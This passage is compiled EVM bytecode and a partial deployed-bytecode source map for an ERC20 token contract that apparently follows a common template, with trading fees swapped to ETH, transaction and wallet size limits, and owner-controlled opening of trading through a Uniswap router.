1380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106a89030906106996009600a6116d6565b61048a906461f313f8806116e4565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071c9190611730565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079f9190611730565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080d9190611730565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108585760405162461bcd60e51b81526004016104c2906116fb565b601454600160a01b900460ff16156108b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c2565b6013546001600160a01b031663f305d71947306108e3816001600160a01b03165f9081526001602052604090205490565b5f806108f65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561095c573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610981919061174b565b50506014805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b0383166109ff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c2565b6001600160a01b038216610a605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c2565b6001600160a01b038216610b875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c2565b5f8111610be85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c2565b601454600160b01b900460ff161580610c0a5750601454600160a81b900460ff165b15610cb4576001600160a01b0383165f90815260016020526040902054610c32908290611776565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c61908290611789565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab49085815260200190565b5f80546001600160a01b03858116911614801590610cdf57505f546001600160a01b03848116911614155b15610fd5576001600160a01b0384165f9081526004602052604090205460ff16158015610d2457506001600160a01b0383165f9081526004602052604090205460ff16155b610d2c575f80fd5b610d586064610d52600a54600d5411610d4757600654610d4b565b6008545b859061114a565b906111cf565b6014549091506001600160a01b038581169116148015610d8657506013546001600160a01b03848116911614155b8015610daa57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e9057600e54821115610e015760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c2565b600f5482610e23856001600160a01b03165f9081526001602052604090205490565b610e2d9190611789565b1115610e7b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c2565b600d8054905f610e8a8361179c565b91905055505b6014546001600160a01b038481169116148015610eb657506001600160a01b0384163014155b15610eee57610ee06064610d52600b54600d5411610ed657600754610d4b565b600954859061114a565b905047610eec47611210565b505b305f90815260016020526040902054601454600160a81b900460ff16158015610f2457506014546001600160a01b038581169116145b8015610f395750601454600160b01b900460ff165b8015610f46575060105481115b8015610f555750600c54600d54115b15610fd357601454600160b81b900460ff1615610fae57436015541015610fa957610f93610f8e84610f898460115461124b565b61124b565b61125f565b478015610fa357610fa347611210565b50436015555b610fd3565b610fc1610f8e84610f898460115461124b565b478015610fd157610fd147611210565b505b505b801561104d57305f90815260016020526040902054610ff490826113cf565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110449085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461106f908361142d565b6001600160a01b0385165f908152600160205260409020556110b2611094838361142d565b6001600160a01b0385165f90815260016020526040902054906113cf565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110fb858561142d565b60405190815260200160405180910390a350505050565b5f81848411156111355760405162461bcd60e51b81526004016104c2919061149a565b505f6111418486611776565b95945050505050565b5f825f0361115957505f61040b565b5f61116483856116e4565b90508261117185836117b4565b146111c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c2565b9392505050565b5f6111c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061146e565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611247573d5f803e3d5ffd5b5050565b5f81831161125957826111c8565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112a5576112a56117d3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113209190611730565b81600181518110611333576113336117d3565b6001600160a01b039283166020918202929092010152601354611359913091168461099d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113919085905f908690309042906004016117e7565b5f604051808303815f87803b1580156113a8575f80fd5b505af11580156113ba573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f806113db8385611789565b9050838110156111c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c2565b5f6111c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611112565b5f818361148e5760405162461bcd60e51b81526004016104c2919061149a565b505f61114184866117b4565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610626575f80fd5b5f80604083850312156114f4575f80fd5b82356114ff816114cf565b946020939093013593505050565b5f805f6060848603121561151f575f80fd5b833561152a816114cf565b9250602084013561153a816114cf565b929592945050506040919091013590565b5f805f6060848603121561155d575f80fd5b8335611568816114cf565b925060208401356fffffffffffffffffffffffffffffffff198116811461153a575f80fd5b5f6020828403121561159d575f80fd5b81356111c8816114cf565b5f80604083850312156115b9575f80fd5b82356115c4816114cf565b915060208301356115d4816114cf565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561162e57808504811115611612576116126115df565b600184161561162057908102905b60019390931c9280026115f7565b935093915050565b5f826116445750600161040b565b8161165057505f61040b565b816001811461166657600281146116705761168c565b600191505061040b565b60ff841115611681576116816115df565b50506001821b61040b565b5060208310610133831016604e8410600b84101617156116af575081810a61040b565b6116bb5f1984846115f3565b805f19048211156116ce576116ce6115df565b029392505050565b5f6111c860ff841683611636565b808202811582820484141761040b5761040b6115df565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611740575f80fd5b81516111c8816114cf565b5f805f6060848603121561175d575f80fd5b5050815160208301516040909301519094929350919050565b8181038181111561040b5761040b6115df565b8082018082111561040b5761040b6115df565b5f600182016117ad576117ad6115df565b5060010190565b5f826117ce57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118375783516001600160a01b0316835260209384019390920191600101611810565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fd7d0daa8c7a32582f7eda2b109451bc0414509f23585aebcb4f5fe9f56ed15a64736f6c634300081a0033

Deployed Bytecode Sourcemap

3705:8186:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5936:83;;;;;;;;;;-1:-1:-1;6006:5:0;;;;;;;;;;;;;;;;;;5936:83;;;;;;;:::i;:::-;;;;;;;;6755:161;;;;;;;;;;-1:-1:-1;6755:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6755:161:0;945:187:1;4787:45:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4787:45:0;1137:177:1;6207:95:0;;;;;;;;;;;;;:::i;6922:313::-;;;;;;;;;;-1:-1:-1;6922:313:0;;;;;:::i;:::-;;:::i;7241:133::-;;;;;;;;;;-1:-1:-1;7241:133:0;;;;;:::i;:::-;-1:-1:-1;;7354:12:0;;-1:-1:-1;;;;;7323:18:0;;;;;;;:11;:18;;;;;;;;7342:8;;;;;7323:28;;;;;;;;;:43;7241:133;;;4735:45;;;;;;;;;;;;;;;;6118:83;;;;;;;;;;-1:-1:-1;6118:83:0;;4410:1;2496:36:1;;2484:2;2469:18;6118:83:0;2354:184:1;4677:51:0;;;;;;;;;;;;;;;;6308:119;;;;;;;;;;-1:-1:-1;6308:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6401:18:0;6374:7;6401:18;;;:9;:18;;;;;;;6308:119;2792:148;;;;;;;;;;;;;:::i;11037:191::-;;;;;;;;;;;;;:::i;4623:47::-;;;;;;;;;;;;;;;;2578:79;;;;;;;;;;-1:-1:-1;2616:7:0;2643:6;2578:79;;-1:-1:-1;;;;;2643:6:0;;;2941:51:1;;2929:2;2914:18;2578:79:0;2795:203:1;6025:87:0;;;;;;;;;;-1:-1:-1;6097:7:0;;;;;;;;;;;;-1:-1:-1;;;6097:7:0;;;;6025:87;;11338:114;;;;;;;;;;;;;:::i;6433:167::-;;;;;;;;;;-1:-1:-1;6433:167:0;;;;;:::i;:::-;;:::i;6606:143::-;;;;;;;;;;-1:-1:-1;6606:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6714:18:0;;;6687:7;6714:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6606:143;5633:297;;;;;;;;;;;;;:::i;11588:300::-;;;;;;;;;;;;;:::i;6755:161::-;6830:4;6847:39;2237:10;6870:7;6879:6;6847:8;:39::i;:::-;-1:-1:-1;6904:4:0;6755:161;;;;;:::o;6207:95::-;6260:7;4468:13;4410:1;4468:2;:13;:::i;:::-;4453:28;;:12;:28;:::i;:::-;6280:14;;6207:95;:::o;6922:313::-;7020:4;7037:36;7047:6;7055:9;7066:6;7037:9;:36::i;:::-;7084:121;7093:6;2237:10;7115:89;7153:6;7115:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7115:19:0;;;;;;:11;:19;;;;;;;;2237:10;7115:33;;;;;;;;;;:37;:89::i;:::-;7084:8;:121::i;:::-;-1:-1:-1;7223:4:0;6922:313;;;;;:::o;2792:148::-;2705:6;;-1:-1:-1;;;;;2705:6:0;2237:10;2705:22;2697:67;;;;-1:-1:-1;;;2697:67:0;;;;;;;:::i;:::-;;;;;;;;;2899:1:::1;2883:6:::0;;2862:40:::1;::::0;-1:-1:-1;;;;;2883:6:0;;::::1;::::0;2862:40:::1;::::0;2899:1;;2862:40:::1;2930:1;2913:19:::0;;-1:-1:-1;;;;;;2913:19:0::1;::::0;;2792:148::o;11037:191::-;2705:6;;-1:-1:-1;;;;;2705:6:0;2237:10;2705:22;2697:67;;;;-1:-1:-1;;;2697:67:0;;;;;;;:::i;:::-;11091:10:::1;:18:::0;;-1:-1:-1;;;;11091:18:0::1;::::0;;4468:13:::1;4410:1;4468:2;:13;:::i;:::-;4453:28;::::0;:12:::1;:28;:::i;:::-;11120:12;:22:::0;4468:13:::1;4410:1;4468:2;:13;:::i;:::-;4453:28;::::0;:12:::1;:28;:::i;:::-;11153:16;:24:::0;11193:27:::1;4468:13;4410:1;4468:2;:13;:::i;:::-;4453:28;::::0;:12:::1;:28;:::i;:::-;11193:27;::::0;1283:25:1;;;1271:2;1256:18;11193:27:0::1;;;;;;;11037:191::o:0;11338:114::-;2705:6;;-1:-1:-1;;;;;2705:6:0;2237:10;2705:22;2697:67;;;;-1:-1:-1;;;2697:67:0;;;;;;;:::i;:::-;11393:51:::1;::::0;11401:10:::1;::::0;11422:21:::1;11393:51:::0;::::1;;;::::0;::::1;::::0;;;11422:21;11401:10;11393:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11338:114::o:0;6433:167::-;6511:4;6528:42;2237:10;6552:9;6563:6;6528:9;:42::i;5633:297::-;2705:6;;-1:-1:-1;;;;;2705:6:0;2237:10;2705:22;2697:67;;;;-1:-1:-1;;;2697:67:0;;;;;;;:::i;:::-;5682:9:::1;:74:::0;;-1:-1:-1;;;;;;5682:74:0::1;5713:42;5682:74:::0;;::::1;::::0;;;5767:52:::1;::::0;5784:4:::1;::::0;4468:13:::1;4410:1;4468:2;:13;:::i;:::-;4453:28;::::0;:12:::1;:28;:::i;5767:52::-;5858:9;;;;;;;;;-1:-1:-1::0;;;;;5858:9:0::1;-1:-1:-1::0;;;;;5858:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5840:49:0::1;;5898:4;5905:9;;;;;;;;;-1:-1:-1::0;;;;;5905:9:0::1;-1:-1:-1::0;;;;;5905:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5840:82;::::0;-1:-1:-1;;;;;;5840:82:0::1;::::0;;;;;;-1:-1:-1;;;;;5942:32:1;;;5840:82:0::1;::::0;::::1;5924:51:1::0;6011:32;;5991:18;;;5984:60;5897:18;;5840:82:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5830:7;:92:::0;;-1:-1:-1;;;;;;5830:92:0::1;-1:-1:-1::0;;;;;5830:92:0;;;::::1;::::0;;;::::1;::::0;;5633:297::o;11588:300::-;2705:6;;-1:-1:-1;;;;;2705:6:0;2237:10;2705:22;2697:67;;;;-1:-1:-1;;;2697:67:0;;;;;;;:::i;:::-;11650:11:::1;::::0;-1:-1:-1;;;11650:11:0;::::1;;;11649:12;11641:47;;;::::0;-1:-1:-1;;;11641:47:0;;6257:2:1;11641:47:0::1;::::0;::::1;6239:21:1::0;6296:2;6276:18;;;6269:30;6335:25;6315:18;;;6308:53;6378:18;;11641:47:0::1;6055:347:1::0;11641:47:0::1;11699:9;::::0;-1:-1:-1;;;;;11699:9:0::1;:25;11732:21;11763:4;11769:24;11763:4:::0;-1:-1:-1;;;;;6401:18:0;6374:7;6401:18;;;:9;:18;;;;;;;6308:119;11769:24:::1;11794:1;11796::::0;11798:7:::1;2616::::0;2643:6;-1:-1:-1;;;;;2643:6:0;;2578:79;11798:7:::1;11699:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11699:123:0;;;-1:-1:-1;;;;;6728:32:1;;;11699:123:0::1;::::0;::::1;6710:51:1::0;6777:18;;;6770:34;;;;6820:18;;;6813:34;;;;6863:18;;;6856:34;6927:32;;;6906:19;;;6899:61;11806:15:0::1;6976:19:1::0;;;6969:35;6682:19;;11699:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11833:11:0::1;:18:::0;;-1:-1:-1;;;;11862:18:0;-1:-1:-1;;;11862:18:0;;;-1:-1:-1;11588:300:0:o;7380:335::-;-1:-1:-1;;;;;7473:19:0;;7465:68;;;;-1:-1:-1;;;7465:68:0;;7678:2:1;7465:68:0;;;7660:21:1;7717:2;7697:18;;;7690:30;7756:34;7736:18;;;7729:62;-1:-1:-1;;;7807:18:1;;;7800:34;7851:19;;7465:68:0;7476:400:1;7465:68:0;-1:-1:-1;;;;;7552:21:0;;7544:68;;;;-1:-1:-1;;;7544:68:0;;8083:2:1;7544:68:0;;;8065:21:1;8122:2;8102:18;;;8095:30;8161:34;8141:18;;;8134:62;-1:-1:-1;;;8212:18:1;;;8205:32;8254:19;;7544:68:0;7881:398:1;7544:68:0;-1:-1:-1;;;;;7623:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7675:32;;1283:25:1;;;7675:32:0;;1256:18:1;7675:32:0;;;;;;;;7380:335;;;:::o;7721:2839::-;-1:-1:-1;;;;;7809:18:0;;7801:68;;;;-1:-1:-1;;;7801:68:0;;8486:2:1;7801:68:0;;;8468:21:1;8525:2;8505:18;;;8498:30;8564:34;8544:18;;;8537:62;-1:-1:-1;;;8615:18:1;;;8608:35;8660:19;;7801:68:0;8284:401:1;7801:68:0;-1:-1:-1;;;;;7888:16:0;;7880:64;;;;-1:-1:-1;;;7880:64:0;;8892:2:1;7880:64:0;;;8874:21:1;8931:2;8911:18;;;8904:30;8970:34;8950:18;;;8943:62;-1:-1:-1;;;9021:18:1;;;9014:33;9064:19;;7880:64:0;8690:399:1;7880:64:0;7972:1;7963:6;:10;7955:64;;;;-1:-1:-1;;;7955:64:0;;9296:2:1;7955:64:0;;;9278:21:1;9335:2;9315:18;;;9308:30;9374:34;9354:18;;;9347:62;-1:-1:-1;;;9425:18:1;;;9418:39;9474:19;;7955:64:0;9094:405:1;7955:64:0;8035:11;;-1:-1:-1;;;8035:11:0;;;;8034:12;;:22;;-1:-1:-1;8050:6:0;;-1:-1:-1;;;8050:6:0;;;;8034:22;8030:217;;;-1:-1:-1;;;;;8091:15:0;;;;;;:9;:15;;;;;;:24;;8109:6;;8091:24;:::i;:::-;-1:-1:-1;;;;;8073:15:0;;;;;;;:9;:15;;;;;;:42;;;;8146:13;;;;;;;:22;;8162:6;;8146:22;:::i;:::-;-1:-1:-1;;;;;8130:13:0;;;;;;;:9;:13;;;;;;;:38;;;;8188:26;;;;;;;;;;8207:6;1283:25:1;;1271:2;1256:18;;1137:177;8030:217:0;8257:14;2643:6;;-1:-1:-1;;;;;8288:15:0;;;2643:6;;8288:15;;;;:32;;-1:-1:-1;2616:7:0;2643:6;-1:-1:-1;;;;;8307:13:0;;;2643:6;;8307:13;;8288:32;8284:1936;;;-1:-1:-1;;;;;8346:11:0;;;;;;:5;:11;;;;;;;;8345:12;:26;;;;-1:-1:-1;;;;;;8362:9:0;;;;;;:5;:9;;;;;;;;8361:10;8345:26;8337:35;;;;;;8396:78;8470:3;8396:69;8423:12;;8408:14;;:27;8407:57;;8450:14;;8407:57;;;8437:12;;8407:57;8396:6;;:10;:69::i;:::-;:73;;:78::i;:::-;8501:7;;8387:87;;-1:-1:-1;;;;;;8493:15:0;;;8501:7;;8493:15;:43;;;;-1:-1:-1;8526:9:0;;-1:-1:-1;;;;;8512:24:0;;;8526:9;;8512:24;;8493:43;:72;;;;-1:-1:-1;;;;;;8542:23:0;;;;;;:19;:23;;;;;;;;8540:25;8493:72;8489:309;;;8605:12;;8595:6;:22;;8587:60;;;;-1:-1:-1;;;8587:60:0;;9969:2:1;8587:60:0;;;9951:21:1;10008:2;9988:18;;;9981:30;10047:27;10027:18;;;10020:55;10092:18;;8587:60:0;9767:349:1;8587:60:0;8700:16;;8690:6;8674:13;8684:2;-1:-1:-1;;;;;6401:18:0;6374:7;6401:18;;;:9;:18;;;;;;;6308:119;8674:13;:22;;;;:::i;:::-;:42;;8666:81;;;;-1:-1:-1;;;8666:81:0;;10323:2:1;8666:81:0;;;10305:21:1;10362:2;10342:18;;;10335:30;10401:28;10381:18;;;10374:56;10447:18;;8666:81:0;10121:350:1;8666:81:0;8766:14;:16;;;:14;:16;;;:::i;:::-;;;;;;8489:309;8821:7;;-1:-1:-1;;;;;8815:13:0;;;8821:7;;8815:13;:37;;;;-1:-1:-1;;;;;;8832:20:0;;8847:4;8832:20;;8815:37;8812:357;;;8882:81;8959:3;8882:72;8909:13;;8894:14;;:28;8893:60;;8938:15;;8893:60;;;8924:13;;8882:6;;:10;:72::i;:81::-;8873:90;-1:-1:-1;9011:21:0;9102:32;9112:21;9102:9;:32::i;:::-;8854:315;8812:357;9232:4;9183:28;6401:18;;;:9;:18;;;;;;9258:6;;-1:-1:-1;;;9258:6:0;;;;9257:7;:26;;;;-1:-1:-1;9276:7:0;;-1:-1:-1;;;;;9268:15:0;;;9276:7;;9268:15;9257:26;:41;;;;-1:-1:-1;9287:11:0;;-1:-1:-1;;;9287:11:0;;;;9257:41;:77;;;;;9323:11;;9302:20;:32;9257:77;:109;;;;;9353:13;;9338:14;;:28;9257:109;9253:956;;;9391:10;;-1:-1:-1;;;9391:10:0;;;;9387:807;;;9446:12;9430:13;;:28;9426:428;;;9487:67;9504:49;9508:6;9515:37;9519:20;9540:11;;9515:3;:37::i;:::-;9504:3;:49::i;:::-;9487:16;:67::i;:::-;9610:21;9661:22;;9658:118;;9716:32;9726:21;9716:9;:32::i;:::-;-1:-1:-1;9818:12:0;9802:13;:28;9426:428;9387:807;;;9902:67;9919:49;9923:6;9930:37;9934:20;9955:11;;9930:3;:37::i;9902:67::-;10021:21;10068:22;;10065:110;;10119:32;10129:21;10119:9;:32::i;:::-;9879:315;9387:807;8322:1898;8284:1936;10233:8;;10230:153;;10298:4;10280:24;;;;:9;:24;;;;;;:36;;10309:6;10280:28;:36::i;:::-;10273:4;10255:24;;;;:9;:24;;;;;;;:61;;;;10334:37;;-1:-1:-1;;;;;10334:37:0;;;;;;;10364:6;1283:25:1;;1271:2;1256:18;;1137:177;10334:37:0;;;;;;;;10230:153;-1:-1:-1;;;;;10409:15:0;;;;;;:9;:15;;;;;;:27;;10429:6;10409:19;:27::i;:::-;-1:-1:-1;;;;;10393:15:0;;;;;;:9;:15;;;;;:43;10461:37;10479:18;:6;10490;10479:10;:18::i;:::-;-1:-1:-1;;;;;10461:13:0;;;;;;:9;:13;;;;;;;:17;:37::i;:::-;-1:-1:-1;;;;;10447:13:0;;;;;;;:9;:13;;;;;:51;;;;10514:38;;;10533:18;:6;10544;10533:10;:18::i;:::-;10514:38;;1283:25:1;;;1271:2;1256:18;10514:38:0;;;;;;;7790:2770;7721:2839;;;:::o;1336:190::-;1422:7;1458:12;1450:6;;;;1442:29;;;;-1:-1:-1;;;1442:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1482:9:0;1494:5;1498:1;1494;:5;:::i;:::-;1482:17;1336:190;-1:-1:-1;;;;;1336:190:0:o;1534:246::-;1592:7;1616:1;1621;1616:6;1612:47;;-1:-1:-1;1646:1:0;1639:8;;1612:47;1669:9;1681:5;1685:1;1681;:5;:::i;:::-;1669:17;-1:-1:-1;1714:1:0;1705:5;1709:1;1669:17;1705:5;:::i;:::-;:10;1697:56;;;;-1:-1:-1;;;1697:56:0;;11040:2:1;1697:56:0;;;11022:21:1;11079:2;11059:18;;;11052:30;11118:34;11098:18;;;11091:62;-1:-1:-1;;;11169:18:1;;;11162:31;11210:19;;1697:56:0;10838:397:1;1697:56:0;1771:1;1534:246;-1:-1:-1;;;1534:246:0:o;1788:132::-;1846:7;1873:39;1877:1;1880;1873:39;;;;;;;;;;;;;;;;;:3;:39::i;11493:89::-;11547:10;;:27;;-1:-1:-1;;;;;11547:10:0;;;;:27;;;;;11567:6;;11547:10;:27;:10;:27;11567:6;11547:10;:27;;;;;;;;;;;;;;;;;;;;;11493:89;:::o;11234:98::-;11291:7;11318:1;11316;:3;11315:9;;11323:1;11315:9;;;-1:-1:-1;11321:1:0;11234:98;-1:-1:-1;11234:98:0:o;10566:465::-;5249:6;:13;;-1:-1:-1;;;;5249:13:0;-1:-1:-1;;;5249:13:0;;;10668:16:::1;::::0;;10682:1:::1;10668:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10668:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10668:16:0::1;10644:40;;10713:4;10695;10700:1;10695:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10695:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10739:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;10739:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;10695:7;;10739:16;;;;;:9;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10729:4;10734:1;10729:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10729:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;10798:9:::1;::::0;10766:56:::1;::::0;10783:4:::1;::::0;10798:9:::1;10810:11:::0;10766:8:::1;:56::i;:::-;10833:9;::::0;:190:::1;::::0;-1:-1:-1;;;10833:190:0;;-1:-1:-1;;;;;10833:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;10908:11;;10833:9:::1;::::0;10950:4;;10977::::1;::::0;10997:15:::1;::::0;10833:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5285:6:0;:14;;-1:-1:-1;;;;5285:14:0;;;-1:-1:-1;;;;10566:465:0:o;1005:179::-;1063:7;;1095:5;1099:1;1095;:5;:::i;:::-;1083:17;;1124:1;1119;:6;;1111:46;;;;-1:-1:-1;;;1111:46:0;;12670:2:1;1111:46:0;;;12652:21:1;12709:2;12689:18;;;12682:30;12748:29;12728:18;;;12721:57;12795:18;;1111:46:0;12468:351:1;1192:136:0;1250:7;1277:43;1281:1;1284;1277:43;;;;;;;;;;;;;;;;;:3;:43::i;1928:189::-;2014:7;2049:12;2042:5;2034:28;;;;-1:-1:-1;;;2034:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2073:9:0;2085:5;2089:1;2085;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;1832:517::-;1909:6;1917;1925;1978:2;1966:9;1957:7;1953:23;1949:32;1946:52;;;1994:1;1991;1984:12;1946:52;2033:9;2020:23;2052:31;2077:5;2052:31;:::i;:::-;2102:5;-1:-1:-1;2159:2:1;2144:18;;2131:32;-1:-1:-1;;2194:53:1;;2182:66;;2172:94;;2262:1;2259;2252:12;2543:247;2602:6;2655:2;2643:9;2634:7;2630:23;2626:32;2623:52;;;2671:1;2668;2661:12;2623:52;2710:9;2697:23;2729:31;2754:5;2729:31;:::i;3003:388::-;3071:6;3079;3132:2;3120:9;3111:7;3107:23;3103:32;3100:52;;;3148:1;3145;3138:12;3100:52;3187:9;3174:23;3206:31;3231:5;3206:31;:::i;:::-;3256:5;-1:-1:-1;3313:2:1;3298:18;;3285:32;3326:33;3285:32;3326:33;:::i;:::-;3378:7;3368:17;;;3003:388;;;;;:::o;3396:127::-;3457:10;3452:3;3448:20;3445:1;3438:31;3488:4;3485:1;3478:15;3512:4;3509:1;3502:15;3528:375;3616:1;3634:5;3648:249;3669:1;3659:8;3656:15;3648:249;;;3719:4;3714:3;3710:14;3704:4;3701:24;3698:50;;;3728:18;;:::i;:::-;3778:1;3768:8;3764:16;3761:49;;;3792:16;;;;3761:49;3875:1;3871:16;;;;;3831:15;;3648:249;;;3528:375;;;;;;:::o;3908:902::-;3957:5;3987:8;3977:80;;-1:-1:-1;4028:1:1;4042:5;;3977:80;4076:4;4066:76;;-1:-1:-1;4113:1:1;4127:5;;4066:76;4158:4;4176:1;4171:59;;;;4244:1;4239:174;;;;4151:262;;4171:59;4201:1;4192:10;;4215:5;;;4239:174;4276:3;4266:8;4263:17;4260:43;;;4283:18;;:::i;:::-;-1:-1:-1;;4339:1:1;4325:16;;4398:5;;4151:262;;4497:2;4487:8;4484:16;4478:3;4472:4;4469:13;4465:36;4459:2;4449:8;4446:16;4441:2;4435:4;4432:12;4428:35;4425:77;4422:203;;;-1:-1:-1;4534:19:1;;;4610:5;;4422:203;4657:42;-1:-1:-1;;4682:8:1;4676:4;4657:42;:::i;:::-;4735:6;4731:1;4727:6;4723:19;4714:7;4711:32;4708:58;;;4